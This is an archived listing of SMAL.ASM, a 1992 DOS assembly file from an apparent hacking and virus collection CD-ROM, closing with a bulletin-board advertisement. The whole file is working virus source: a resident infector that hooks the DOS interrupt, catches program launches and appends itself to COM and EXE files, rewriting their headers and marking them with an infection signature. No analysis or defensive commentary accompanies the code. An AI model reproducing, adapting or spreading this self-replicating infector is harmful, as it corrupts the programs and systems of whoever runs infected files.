home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SMAL.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  4KB  |  231 lines

  1. virus segment public 'code'
  2.     assume    cs:virus,ds:virus,es:virus
  3.     org    0
  4.  
  5. VirusSize    equ    VirusEnd-$
  6.  
  7. Com:    call    Begin
  8.     call    Label2
  9.  
  10. PartPage    equ    this word+02h
  11. PageCount    equ    this word+04h
  12. HdrSize        equ    this word+08h
  13. MinMem        equ    this word+0ah
  14. MaxMem        equ    this word+0ch
  15. ExeSS        equ    this word+0eh
  16. ExeSP        equ    this word+10h
  17. ExeSignature    equ    this word+12h
  18. ExeStart    equ    this dword+14h
  19. ExeIP        equ    this word+14h
  20. ExeCS        equ    this word+16h
  21.  
  22. SavedCode:
  23.     mov    ax,4c00h
  24.     int    21h
  25.  
  26.     org    SavedCode+18h
  27.  
  28. Label2:    pop    si
  29.     mov    di,100h
  30.     push    di
  31.     movsw
  32.     movsw
  33.     movsb
  34.     ret
  35.  
  36. Exe:    call    Begin
  37.     mov    dx,ds
  38.     add    dx,10h
  39.     add    cs:ExeCS,dx
  40.     add    dx,cs:ExeSS
  41.     mov    ss,dx
  42.     mov    sp,cs:ExeSP
  43.     jmp    cs:ExeStart
  44.  
  45. Begin:    push    ds
  46.     push    es
  47.     push    ax
  48.     xor    ax,ax
  49.     mov    ds,ax
  50.     mov    ds,ds:[46ah]
  51.     cmp    Signature,0ACDCh
  52.     je    Exit
  53.     mov    ah,4ah
  54.     mov    bx,-1
  55.     int    21h
  56.     sub    bx,(VirusSize+1fh)/10h+1000h
  57.     jb    Exit
  58.     add    bh,10h
  59.     mov    ah,4ah
  60.     int    21h
  61.     mov    ah,48h
  62.     mov    bx,(VirusSize+0fh)/10h
  63.     int    21h
  64.     jb    Exit
  65.     dec    ax
  66.     mov    es,ax
  67.     inc    ax
  68.     mov    es:[1],ax
  69.     mov    es,ax
  70.     push    cs
  71.     pop    ds
  72.     call    Label1
  73. Label1:    pop    si
  74.     sub    si,offset Label1
  75.     xor    di,di
  76.     push    di
  77.     mov    cx,VirusSize
  78.     rep    movsb
  79.     pop    ds
  80.     mov    ax,ds:[84h]
  81.     mov    word ptr es:OldInt21[0],ax
  82.     mov    ax,ds:[86h]
  83.     mov    word ptr es:OldInt21[2],ax
  84.     mov    byte ptr ds:[467h],0eah
  85.     mov    word ptr ds:[468h],offset NewInt21
  86.     mov    ds:[46ah],es
  87.     mov    word ptr ds:[84h],7
  88.     mov    word ptr ds:[86h],46h
  89. Exit:    pop    ax
  90.     pop    ds
  91.     pop    es
  92.     ret
  93.  
  94. Header        db    0e9h
  95.         dw    0
  96. Signature    dw    0ACDCh
  97.  
  98. NewInt21:
  99.     cmp    ah,4bh
  100.     je    Exec
  101.     jmp    short EOI
  102. Exec:    push    ax
  103.     push    bx
  104.     push    cx
  105.     push    dx
  106.     push    ds
  107.     mov    ax,3d02h
  108.     call    Interrupt
  109.         jc      short Error
  110.     push    cs
  111.     pop    ds
  112.     mov    bx,ax
  113.     mov    ah,3fh
  114.     mov    cx,18h
  115.     mov    dx,offset SavedCode
  116.     call    DOS
  117.     cmp    word ptr cs:SavedCode,5a4dh
  118.     je    ExeFile
  119. ComFile:cmp    word ptr cs:SavedCode[3],0ACDCh
  120.         je      short Close
  121.     mov    al,02h
  122.     call    Seek
  123.     or    dx,dx
  124. ;       jmp     short Close
  125.     cmp    ah,0f6h
  126.         je      short Close
  127.     sub    ax,5
  128. ;       jmp     short Close
  129.     inc    ax
  130.     inc    ax
  131.     mov    word ptr ds:Header[1],ax
  132.     mov    ah,40h
  133.     mov    cx,VirusSize
  134.     xor    dx,dx
  135.     call    DOS
  136.     mov    al,00h
  137.     call    Seek
  138.     mov    ah,40h
  139.     mov    cx,5
  140.     mov    dx,offset Header
  141.     call    Interrupt
  142. Close:    mov    ah,3eh
  143.     call    Interrupt
  144. Error:    pop    ds
  145.     pop    dx
  146.     pop    cx
  147.     pop    bx
  148.     pop    ax
  149.  
  150. EOI:        db    0eah        ; jmp    0:0
  151. OldInt21    dd    026b1465h
  152.  
  153. ExeFile:cmp    ExeSignature,0ACDCh
  154.         je      short Close
  155.     mov    al,02h
  156.     call    Seek
  157.     add    ax,0fh
  158.     adc    dx,0
  159.     and    al,0f0h
  160.     xchg    ax,dx
  161.     mov    cx,ax
  162.     mov    ax,4200h
  163.     call    DOS
  164.     mov    cx,10h
  165.     div    cx
  166.     or    dx,dx
  167.     jne    Close
  168.     mov    dx,ax
  169.     sub    dx,HdrSize
  170.     push    dx
  171.     mov    cx,10h
  172.     mul    cx
  173.     add    ax,VirusSize
  174.     adc    dx,0
  175.     mov    cx,200h
  176.     div    cx
  177.     inc    ax
  178.     push    ax
  179.     push    dx
  180.     mov    ah,40h
  181.     mov    cx,VirusSize
  182.     xor    dx,dx
  183.     call    Interrupt
  184.     pop    PartPage
  185.     pop    PageCount
  186.     pop    ax
  187.     jc    Close
  188.     mov    ExeCS,ax
  189.     mov    ExeIP,offset Exe
  190.     add    ax,(VirusSize+0fh)/10h
  191.     mov    ExeSS,ax
  192.     mov    ExeSP,200h
  193.     cmp    MinMem,20h
  194.     jae    Mem1
  195.     mov    MinMem,20h
  196. Mem1:    cmp    MaxMem,20h
  197.     jae    Mem2
  198.     mov    MaxMem,20h
  199. Mem2:    mov    al,00
  200.     call    Seek
  201.     mov    ah,40h
  202.     mov    cx,18h
  203.     mov    dx,offset SavedCode
  204.     call    Interrupt
  205.     jmp    Close
  206.  
  207. Seek:    mov    ah,42h
  208.     xor    cx,cx
  209.     xor    dx,dx
  210.  
  211. DOS:    call    Interrupt
  212.     jnc    Ok
  213.     pop    ax
  214.     jmp    Close
  215.  
  216. Interrupt:
  217.     pushf
  218.     call    cs:OldInt21
  219. Ok:    ret
  220.  
  221. VirusEnd    equ    $
  222.  
  223. virus ends
  224.  
  225. end
  226.  
  227. ;  ─────────────────────────────────────────────────────────────────────────
  228. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  229. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  230. ;  ─────────────────────────────────────────────────────────────────────────
  231.